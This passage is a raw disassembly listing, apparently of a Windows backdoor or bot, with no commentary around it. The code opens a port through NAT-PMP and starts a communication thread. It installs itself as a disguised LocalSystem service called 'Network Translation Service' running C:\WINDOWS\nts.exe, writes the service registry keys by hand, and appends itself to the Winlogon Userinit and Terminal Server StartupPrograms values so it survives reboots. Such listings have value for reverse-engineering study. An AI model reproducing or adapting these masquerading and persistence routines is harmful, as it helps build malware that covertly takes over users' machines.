mov dword_411010, eax
jmp short loc_404AAE
; ---------------------------------------------------------------------------
loc_404A9C: ; CODE XREF: sub_404967+127j
push dword_411010
push offset aNatpmpForwarde ; "NATPMP: forwarded to: %i\n"
call sub_407260
pop ecx
pop ecx
loc_404AAE: ; CODE XREF: sub_404967+133j
movzx eax, word ptr dword_41100C
push eax
push eax
call sub_402B02
pop ecx
pop ecx
test eax, eax
jz short loc_404AC7
mov eax, dword_41100C
loc_404AC7: ; CODE XREF: sub_404967+159j
push 1
push offset dword_411024
call dword_411D04 ; InterlockedExchange
push 1
push offset dword_41102C
call dword_411D04 ; InterlockedExchange
push offset aStartingCommTh ; "starting COMM thread...\n"
call nullsub_1
pop ecx
push 0
push 0
push offset sub_40400E
call sub_407910
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
push 0C8h
call dword_411D00 ; Sleep
push 0
push 0
push offset sub_403FEA
call sub_407910
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
push 0C8h
call dword_411D00 ; Sleep
loc_404B32: ; CODE XREF: sub_404967+1F5j
; sub_404967+228j
push dword_411030
call sub_401607
pop ecx
test eax, eax
jz short loc_404B91
lea eax, [ebp+var_12]
push eax
lea eax, [ebp+var_10]
push eax
push dword_411030
call sub_40166C
add esp, 0Ch
mov edi, eax
test edi, edi
jz short loc_404B32
push 0Ch
call sub_401048
pop ecx
mov esi, eax
mov eax, [ebp+var_10]
mov [esi], eax
mov ax, [ebp+var_12]
mov [esi+4], ax
mov [esi+8], edi
push esi
push 0
push offset sub_4042CD
call sub_407910
add esp, 0Ch
push eax
call dword_411CF8 ; CloseHandle
jmp short loc_404B32
; ---------------------------------------------------------------------------
loc_404B91: ; CODE XREF: sub_404967+1D9j
push 0
push offset dword_41102C
call dword_411D04 ; InterlockedExchange
push dword_411030
call sub_4014C2
pop ecx
and dword_411030, 0
call sub_4079A0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404967 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
mov ebx, [ebp+10h]
push 44h
push 0
lea eax, [ebp-44h]
push eax
call sub_4075D0
add esp, 0Ch
mov dword ptr [ebp-44h], 44h
test ebx, ebx
jz short loc_404BFA
push offset asc_40EDC7 ; "\""
lea eax, [ebp-844h]
push eax
call sub_407670
pop ecx
pop ecx
jmp short loc_404C01
; ---------------------------------------------------------------------------
loc_404BFA: ; CODE XREF: DMN0:00404BE3j
mov byte ptr [ebp-844h], 0
loc_404C01: ; CODE XREF: DMN0:00404BF8j
cmp dword ptr [ebp+8], 0
jz short loc_404C1A
push dword ptr [ebp+8]
lea eax, [ebp-844h]
push eax
call sub_407690
pop ecx
pop ecx
jmp short loc_404C2D
; ---------------------------------------------------------------------------
loc_404C1A: ; CODE XREF: DMN0:00404C05j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
lea eax, [ebp-844h]
push eax
call sub_407690
pop ecx
pop ecx
loc_404C2D: ; CODE XREF: DMN0:00404C18j
test ebx, ebx
jz short loc_404C44
push offset asc_40EDC7 ; "\""
lea eax, [ebp-844h]
push eax
call sub_407690
pop ecx
pop ecx
loc_404C44: ; CODE XREF: DMN0:00404C2Fj
cmp dword ptr [ebp+0Ch], 0
jz short loc_404C6E
push offset asc_40EDB2 ; " "
lea eax, [ebp-844h]
push eax
call sub_407690
pop ecx
pop ecx
push dword ptr [ebp+0Ch]
lea eax, [ebp-844h]
push eax
call sub_407690
pop ecx
pop ecx
loc_404C6E: ; CODE XREF: DMN0:00404C48j
lea eax, [ebp-854h]
push eax
lea eax, [ebp-44h]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp-844h]
push eax
push 0
call dword_411D10 ; CreateProcessA
test eax, eax
jz short loc_404CB3
push dword ptr [ebp-850h]
call dword_411CF8 ; CloseHandle
push dword ptr [ebp-854h]
call dword_411CF8 ; CloseHandle
xor eax, eax
inc eax
loc_404CB3: ; CODE XREF: DMN0:00404C96j
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_404CB8 proc near ; CODE XREF: sub_405BE3+21p
; sub_4066F1:loc_406A2Dp ...
push ebx
push esi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov ebx, eax
test eax, eax
jz short loc_404CFF
push 4
push offset aNts ; "NTS"
push ebx
call dword_411E48 ; OpenServiceA
mov esi, eax
test esi, esi
jnz short loc_404CEE
push ebx
call dword_411E4C ; CloseServiceHandle
xor eax, eax
jmp short loc_404CFF
; ---------------------------------------------------------------------------
loc_404CEE: ; CODE XREF: sub_404CB8+29j
push esi
call dword_411E4C ; CloseServiceHandle
push ebx
call dword_411E4C ; CloseServiceHandle
xor eax, eax
inc eax
loc_404CFF: ; CODE XREF: sub_404CB8+15j
; sub_404CB8+34j
pop esi
pop ebx
retn
sub_404CB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D02 proc near ; CODE XREF: sub_4066F1+3C4p
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov ebx, eax
test eax, eax
jz short loc_404D6C
push 94h
push offset aNts ; "NTS"
push ebx
call dword_411E48 ; OpenServiceA
mov esi, eax
test esi, esi
jnz short loc_404D42
push ebx
call dword_411E4C ; CloseServiceHandle
xor eax, eax
jmp short loc_404D6C
; ---------------------------------------------------------------------------
loc_404D42: ; CODE XREF: sub_404D02+33j
xor edi, edi
lea eax, [ebp+var_1C]
push eax
push esi
call dword_411E50 ; QueryServiceStatus
test eax, eax
jz short loc_404D5C
cmp [ebp+var_18], 4
jnz short loc_404D5C
xor edi, edi
inc edi
loc_404D5C: ; CODE XREF: sub_404D02+4Fj
; sub_404D02+55j
push esi
call dword_411E4C ; CloseServiceHandle
push ebx
call dword_411E4C ; CloseServiceHandle
mov eax, edi
loc_404D6C: ; CODE XREF: sub_404D02+1Cj
; sub_404D02+3Ej
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404D02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D73 proc near ; CODE XREF: sub_404E08+32p
; sub_404E56+39p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov ebx, [ebp+arg_0]
push 0
push 0
push 0
push 0
push 0
push 0
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push 0
push 2
push 0FFFFFFFFh
push ebx
call dword_411E54 ; ChangeServiceConfigA
test eax, eax
jnz short loc_404DB5
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_404DB1
or eax, 0FFFFFFFFh
jmp short loc_404E03
; ---------------------------------------------------------------------------
loc_404DB1: ; CODE XREF: sub_404D73+37j
xor eax, eax
jmp short loc_404E03
; ---------------------------------------------------------------------------
loc_404DB5: ; CODE XREF: sub_404D73+2Aj
mov [ebp+var_1C], 1
and [ebp+var_18], 0
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
lea eax, [ebp+var_1C]
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push eax
push 2
push ebx
call dword_411E58 ; ChangeServiceConfig2A
test eax, eax
jnz short loc_404E00
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_404DFC
or eax, 0FFFFFFFFh
jmp short loc_404E03
; ---------------------------------------------------------------------------
loc_404DFC: ; CODE XREF: sub_404D73+82j
xor eax, eax
jmp short loc_404E03
; ---------------------------------------------------------------------------
loc_404E00: ; CODE XREF: sub_404D73+75j
xor eax, eax
inc eax
loc_404E03: ; CODE XREF: sub_404D73+3Cj
; sub_404D73+40j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_404D73 endp
; =============== S U B R O U T I N E =======================================
sub_404E08 proc near ; CODE XREF: sub_404F2A+6Dp
; sub_405BE3:loc_405C1Bp
push ebx
push esi
push edi
xor edi, edi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov ebx, eax
test eax, eax
jz short loc_404E52
push 96h
push offset aNts ; "NTS"
push ebx
call dword_411E48 ; OpenServiceA
mov esi, eax
test esi, esi
jz short loc_404E49
push esi
call sub_404D73
pop ecx
mov edi, eax
push esi
call dword_411E4C ; CloseServiceHandle
loc_404E49: ; CODE XREF: sub_404E08+2Fj
push ebx
call dword_411E4C ; CloseServiceHandle
mov eax, edi
loc_404E52: ; CODE XREF: sub_404E08+18j
pop edi
pop esi
pop ebx
retn
sub_404E08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404E56 proc near ; CODE XREF: DMN0:00405B1Ap
; sub_4066F1+428p ...
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
xor esi, esi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov edi, eax
test eax, eax
jz loc_404F23
push 16h
push offset aNts ; "NTS"
push edi
call dword_411E48 ; OpenServiceA
mov ebx, eax
test ebx, ebx
jz short loc_404EB2
push ebx
call sub_404D73
pop ecx
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_404EAE
push ebx
call dword_411E4C ; CloseServiceHandle
push edi
call dword_411E4C ; CloseServiceHandle
mov eax, esi
jmp short loc_404F23
; ---------------------------------------------------------------------------
loc_404EAE: ; CODE XREF: sub_404E56+44j
xor esi, esi
jmp short loc_404EC2
; ---------------------------------------------------------------------------
loc_404EB2: ; CODE XREF: sub_404E56+36j
push 14h
push offset aNts ; "NTS"
push edi
call dword_411E48 ; OpenServiceA
mov ebx, eax
loc_404EC2: ; CODE XREF: sub_404E56+5Aj
test ebx, ebx
jnz short loc_404ED1
push edi
call dword_411E4C ; CloseServiceHandle
xor eax, eax
jmp short loc_404F23
; ---------------------------------------------------------------------------
loc_404ED1: ; CODE XREF: sub_404E56+6Ej
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_411E50 ; QueryServiceStatus
test eax, eax
jz short loc_404EE9
cmp [ebp+var_18], 4
jnz short loc_404EE9
xor esi, esi
inc esi
loc_404EE9: ; CODE XREF: sub_404E56+88j
; sub_404E56+8Ej
test esi, esi
jnz short loc_404F13
push 0
push 0
push ebx
call dword_411E5C ; StartServiceA
test eax, eax
jz short loc_404F03
mov esi, 2
jmp short loc_404F13
; ---------------------------------------------------------------------------
loc_404F03: ; CODE XREF: sub_404E56+A4j
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_404F13
or esi, 0FFFFFFFFh
loc_404F13: ; CODE XREF: sub_404E56+95j
; sub_404E56+ABj ...
push ebx
call dword_411E4C ; CloseServiceHandle
push edi
call dword_411E4C ; CloseServiceHandle
mov eax, esi
loc_404F23: ; CODE XREF: sub_404E56+1Ej
; sub_404E56+56j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404E56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F2A proc near ; CODE XREF: sub_405BE3:loc_405C2Cp
; sub_4066F1+3F3p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_113 = byte ptr -113h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov esi, eax
test eax, eax
jz loc_405065
push 0
push 0
push 0
push 0
push 0
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push 0
push 2
push 110h
push 0F01FFh
push offset aNetworkTransla ; "Network Translation Service"
push offset aNts ; "NTS"
push esi
call dword_411E60 ; CreateServiceA
mov ebx, eax
test ebx, ebx
jnz short loc_404FB2
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 431h
jnz short loc_404FA4
push esi
call dword_411E4C ; CloseServiceHandle
call sub_404E08
xor eax, eax
inc eax
jmp loc_405065
; ---------------------------------------------------------------------------
loc_404FA4: ; CODE XREF: sub_404F2A+64j
push esi
call dword_411E4C ; CloseServiceHandle
xor eax, eax
jmp loc_405065
; ---------------------------------------------------------------------------
loc_404FB2: ; CODE XREF: sub_404F2A+57j
push offset aServiceRegiste ; "service registered\n"
call nullsub_2
pop ecx
xor edi, edi
inc edi
push 0FFh
push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"...
lea eax, [ebp+var_113]
push eax
call dword_411D3C ; lstrcpyn
lea eax, [ebp+var_113]
mov [ebp+var_120], eax
lea eax, [ebp+var_120]
push eax
push 1
push ebx
call dword_411E58 ; ChangeServiceConfig2A
test eax, eax
jnz short loc_405007
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_405007
or edi, 0FFFFFFFFh
loc_405007: ; CODE XREF: sub_404F2A+CBj
; sub_404F2A+D8j
mov [ebp+var_11C], 1
and [ebp+var_118], 0
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
lea eax, [ebp+var_11C]
mov [ebp+var_4], eax
lea eax, [ebp+var_14]
push eax
push 2
push ebx
call dword_411E58 ; ChangeServiceConfig2A
test eax, eax
jnz short loc_405055
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 430h
jnz short loc_405055
or edi, 0FFFFFFFFh
loc_405055: ; CODE XREF: sub_404F2A+119j
; sub_404F2A+126j
push ebx
call dword_411E4C ; CloseServiceHandle
push esi
call dword_411E4C ; CloseServiceHandle
mov eax, edi
loc_405065: ; CODE XREF: sub_404F2A+1Fj
; sub_404F2A+75j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404F2A endp
; =============== S U B R O U T I N E =======================================
sub_40506C proc near ; CODE XREF: sub_403FEA+9p
; sub_4066F1+B0p ...
push ebx
push esi
push 0F003Fh
push 0
push 0
call dword_411E44 ; OpenSCManagerA
mov ebx, eax
test eax, eax
jz short loc_4050AE
push 0F01FFh
push offset aNts ; "NTS"
push ebx
call dword_411E48 ; OpenServiceA
mov esi, eax
push esi
call dword_411E64 ; DeleteService
push esi
call dword_411E4C ; CloseServiceHandle
push ebx
call dword_411E4C ; CloseServiceHandle
xor eax, eax
inc eax
loc_4050AE: ; CODE XREF: sub_40506C+15j
pop esi
pop ebx
retn
sub_40506C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4050B1 proc near ; CODE XREF: sub_405BE3+2Ap
; sub_4066F1+40Ap
var_53C = dword ptr -53Ch
var_538 = byte ptr -538h
var_534 = byte ptr -534h
var_409 = byte ptr -409h
var_408 = dword ptr -408h
var_404 = dword ptr -404h
var_400 = byte ptr -400h
push ebp
mov ebp, esp
sub esp, 53Ch
push ebx
push esi
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
lea eax, [ebp+var_400]
push eax
call sub_407670
pop ecx
pop ecx
lea ebx, [ebp+var_400]
lea eax, [ebp+var_400]
push eax
call sub_407650
pop ecx
add ebx, eax
push offset aNts ; "NTS"
push ebx
call sub_407670
pop ecx
pop ecx
xor esi, esi
lea eax, [ebp+var_404]
push eax
push 0F003Fh
push 0
lea eax, [ebp+var_400]
push eax
push 80000002h
call dword_411E30 ; RegOpenKeyExA
test eax, eax
jnz short loc_40517F
mov [ebp+var_408], 12Ch
lea eax, [ebp+var_408]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_538]
push eax
push 0
push offset aImagepath ; "ImagePath"
push [ebp+var_404]
call dword_411E68 ; RegQueryValueExA
mov [ebp+var_53C], eax
test eax, eax
jnz short loc_405173
mov [ebp+var_409], 0
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
lea eax, [ebp+var_534]
push eax
call dword_411D38 ; lstrcmpi
test eax, eax
jnz short loc_405173
xor esi, esi
inc esi
loc_405173: ; CODE XREF: sub_4050B1+A0j
; sub_4050B1+BDj
push [ebp+var_404]
call dword_411E2C ; RegCloseKey
loc_40517F: ; CODE XREF: sub_4050B1+64j
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4050B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405187 proc near ; CODE XREF: sub_405BE3+33p
; sub_4066F1+413p
var_40C = byte ptr -40Ch
var_408 = byte ptr -408h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 40Ch
push ebx
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
lea eax, [ebp+var_408]
push eax
call sub_407670
pop ecx
pop ecx
lea ebx, [ebp+var_408]
lea eax, [ebp+var_408]
push eax
call sub_407650
pop ecx
add ebx, eax
push offset aNts ; "NTS"
push ebx
call sub_407670
pop ecx
pop ecx
lea eax, [ebp+var_40C]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea eax, [ebp+var_408]
push eax
push 80000002h
call dword_411E24 ; RegCreateKeyExA
test eax, eax
jnz loc_4052FC
mov [ebp+var_8], 110h
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aType ; "Type"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
mov [ebp+var_8], 2
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aStart ; "Start"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
and [ebp+var_8], 0
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aErrorcontrol ; "ErrorControl"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
and [ebp+var_8], 0
push 4
lea eax, [ebp+var_8]
push eax
push 4
push 0
push offset aErrorcontrol ; "ErrorControl"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push 0Ch
push offset aLocalsystem ; "LocalSystem"
push 1
push 0
push offset aObjectname ; "ObjectName"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push offset aNetworkTransla ; "Network Translation Service"
call sub_407650
pop ecx
inc eax
push eax
push offset aNetworkTransla ; "Network Translation Service"
push 1
push 0
push offset aDisplayname ; "DisplayName"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"...
call sub_407650
pop ecx
inc eax
push eax
push offset aProvidesHardwa ; "Provides hardware-to-software binary ne"...
push 1
push 0
push offset aDescription ; "Description"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
call sub_407650
pop ecx
inc eax
push eax
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
push 1
push 0
push offset aImagepath ; "ImagePath"
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push [ebp+var_4]
call dword_411E2C ; RegCloseKey
loc_4052FC: ; CODE XREF: sub_405187+6Bj
pop ebx
mov esp, ebp
pop ebp
retn
sub_405187 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}"
push 0
push 0
push 0
call dword_411D40 ; CreateEventA
mov ebx, eax
test eax, eax
jz short loc_405335
push ebx
call dword_411D44 ; SetEvent
mov esi, eax
push ebx
call dword_411CF8 ; CloseHandle
test esi, esi
jz short loc_405333
xor eax, eax
inc eax
jmp short loc_405335
; ---------------------------------------------------------------------------
loc_405333: ; CODE XREF: DMN0:0040532Cj
xor eax, eax
loc_405335: ; CODE XREF: DMN0:00405318j
; DMN0:00405331j
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405338 proc near ; CODE XREF: sub_405545+89p
; sub_4055DB+CAp ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E24 ; RegCreateKeyExA
test eax, eax
jnz short loc_40538A
push [ebp+arg_C]
call sub_407650
pop ecx
inc eax
push eax
push [ebp+arg_C]
push 1
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword_411E28 ; RegSetValueExA
push [ebp+var_4]
call dword_411E2C ; RegCloseKey
loc_40538A: ; CODE XREF: sub_405338+29j
mov esp, ebp
pop ebp
retn
sub_405338 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40538E proc near ; CODE XREF: sub_405496+3Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov esi, [ebp+arg_0]
push esi
call sub_407650
pop ecx
mov edi, eax
push [ebp+var_4]
call sub_407650
pop ecx
mov ebx, eax
jmp short loc_4053D2
; ---------------------------------------------------------------------------
loc_4053B4: ; CODE XREF: sub_40538E+46j
push ebx
push [ebp+var_4]
push ebx
push esi
push 1
push 400h
call dword_411CFC ; CompareStringA
cmp eax, 2
jnz short loc_4053D0
mov eax, esi
jmp short loc_4053D8
; ---------------------------------------------------------------------------
loc_4053D0: ; CODE XREF: sub_40538E+3Cj
inc esi
dec edi
loc_4053D2: ; CODE XREF: sub_40538E+24j
cmp edi, ebx
jge short loc_4053B4
xor eax, eax
loc_4053D8: ; CODE XREF: sub_40538E+40j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40538E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053DF proc near ; CODE XREF: sub_405496+23p
; sub_405545+4Ap ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_C]
mov edi, [ebp+arg_10]
cmp edi, 1
jl short loc_4053FA
test esi, esi
jnz short loc_405401
loc_4053FA: ; CODE XREF: sub_4053DF+15j
xor eax, eax
jmp loc_40548F
; ---------------------------------------------------------------------------
loc_405401: ; CODE XREF: sub_4053DF+19j
lea eax, [ebp+var_8]
push eax
push 0F003Fh
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_411E30 ; RegOpenKeyExA
test eax, eax
jz short loc_405420
xor eax, eax
jmp short loc_40548F
; ---------------------------------------------------------------------------
loc_405420: ; CODE XREF: sub_4053DF+3Bj
push [ebp+arg_4]
push offset aRegreadOpenedS ; "RegRead(): opened %s\n"
call nullsub_2
pop ecx
pop ecx
push edi
push 0
push esi
call sub_4075D0
add esp, 0Ch
lea eax, [edi-1]
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push esi
lea eax, [ebp+var_10]
push eax
push 0
push ebx
push [ebp+var_8]
call dword_411E68 ; RegQueryValueExA
mov [ebp+var_C], eax
push [ebp+var_8]
call dword_411E2C ; RegCloseKey
cmp [ebp+var_C], 0
jnz short loc_405480
push esi
push ebx
push [ebp+var_4]
push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n"
call nullsub_2
add esp, 10h
mov eax, [ebp+var_4]
dec eax
jmp short loc_40548F
; ---------------------------------------------------------------------------
loc_405480: ; CODE XREF: sub_4053DF+87j
push ebx
push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
call nullsub_2
pop ecx
pop ecx
xor eax, eax
loc_40548F: ; CODE XREF: sub_4053DF+1Dj
; sub_4053DF+3Fj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4053DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405496 proc near ; CODE XREF: sub_405545+23p
; sub_4055DB+24p ...
var_2000 = byte ptr -2000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_407730
push ebx
push 2000h
lea eax, [ebp+var_2000]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4053DF
add esp, 14h
mov ebx, eax
test eax, eax
jz short loc_4054E3
push [ebp+arg_C]
lea eax, [ebp+var_2000]
push eax
call sub_40538E
pop ecx
pop ecx
test eax, eax
jz short loc_4054E1
xor eax, eax
inc eax
jmp short loc_4054E3
; ---------------------------------------------------------------------------
loc_4054E1: ; CODE XREF: sub_405496+44j
xor eax, eax
loc_4054E3: ; CODE XREF: sub_405496+2Fj
; sub_405496+49j
pop ebx
mov esp, ebp
pop ebp
retn
sub_405496 endp
; =============== S U B R O U T I N E =======================================
sub_4054E8 proc near ; CODE XREF: sub_405774+1Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov esi, [esp+0Ch+arg_8]
mov edi, [esp+0Ch+arg_C]
test edi, edi
jz short loc_405501
mov byte ptr [ebx], 22h
inc ebx
jmp short loc_405504
; ---------------------------------------------------------------------------
loc_405501: ; CODE XREF: sub_4054E8+11j
mov byte ptr [ebx], 0
loc_405504: ; CODE XREF: sub_4054E8+17j
push [esp+0Ch+arg_4]
push ebx
call sub_407670
pop ecx
pop ecx
push [esp+0Ch+arg_4]
call sub_407650
pop ecx
add ebx, eax
test edi, edi
jz short loc_405524
mov byte ptr [ebx], 22h
inc ebx
loc_405524: ; CODE XREF: sub_4054E8+36j
test esi, esi
jz short loc_40553E
mov byte ptr [ebx], 20h
inc ebx
push esi
push ebx
call sub_407670
pop ecx
pop ecx
push esi
call sub_407650
pop ecx
add ebx, eax
loc_40553E: ; CODE XREF: sub_4054E8+3Ej
mov byte ptr [ebx], 0
pop edi
pop esi
pop ebx
retn
sub_4054E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405545 proc near ; CODE XREF: sub_405774+78p
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_407730
push ebx
push dword_4128A4
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_405496
add esp, 10h
test eax, eax
jnz short loc_4055D6
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_4053DF
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_4055A4
mov [ebp+var_2000], 0
loc_4055A4: ; CODE XREF: sub_405545+56j
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_407690
pop ecx
pop ecx
lea eax, [ebp+var_2000]
push eax
push offset aStartupprogram ; "StartupPrograms"
push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
push 80000002h
call sub_405338
add esp, 10h
loc_4055D6: ; CODE XREF: sub_405545+2Dj
pop ebx
mov esp, ebp
pop ebp
retn
sub_405545 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4055DB proc near ; CODE XREF: sub_405774+7Dp
var_2000 = byte ptr -2000h
push ebp
mov ebp, esp
mov eax, 2000h
call sub_407730
push ebx
push esi
push dword_4128A4
push offset aUserinit ; "Userinit"
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_405496
add esp, 10h
test eax, eax
jnz loc_4056AD
push 2000h
lea eax, [ebp+var_2000]
push eax
push offset aUserinit ; "Userinit"
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_4053DF
add esp, 14h
mov ebx, eax
test ebx, ebx
jnz short loc_40563F
mov [ebp+var_2000], 0
loc_40563F: ; CODE XREF: sub_4055DB+5Bj
cmp [ebp+var_2000], 0
jz short loc_405664
lea esi, [ebp+var_2000]
jmp short loc_405651
; ---------------------------------------------------------------------------
loc_405650: ; CODE XREF: sub_4055DB+79j
inc esi
loc_405651: ; CODE XREF: sub_4055DB+73j
cmp byte ptr [esi], 0
jnz short loc_405650
dec esi
cmp byte ptr [esi], 2Ch
jz short loc_405664
inc esi
mov byte ptr [esi], 2Ch
inc esi
mov byte ptr [esi], 0
loc_405664: ; CODE XREF: sub_4055DB+6Bj
; sub_4055DB+7Fj
push dword_4128A4
lea eax, [ebp+var_2000]
push eax
call sub_407690
pop ecx
pop ecx
test ebx, ebx
jnz short loc_40568F
push offset asc_40E73B ; ","
lea eax, [ebp+var_2000]
push eax
call sub_407690
pop ecx
pop ecx
loc_40568F: ; CODE XREF: sub_4055DB+9Fj
lea eax, [ebp+var_2000]
push eax
push offset aUserinit ; "Userinit"
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_405338
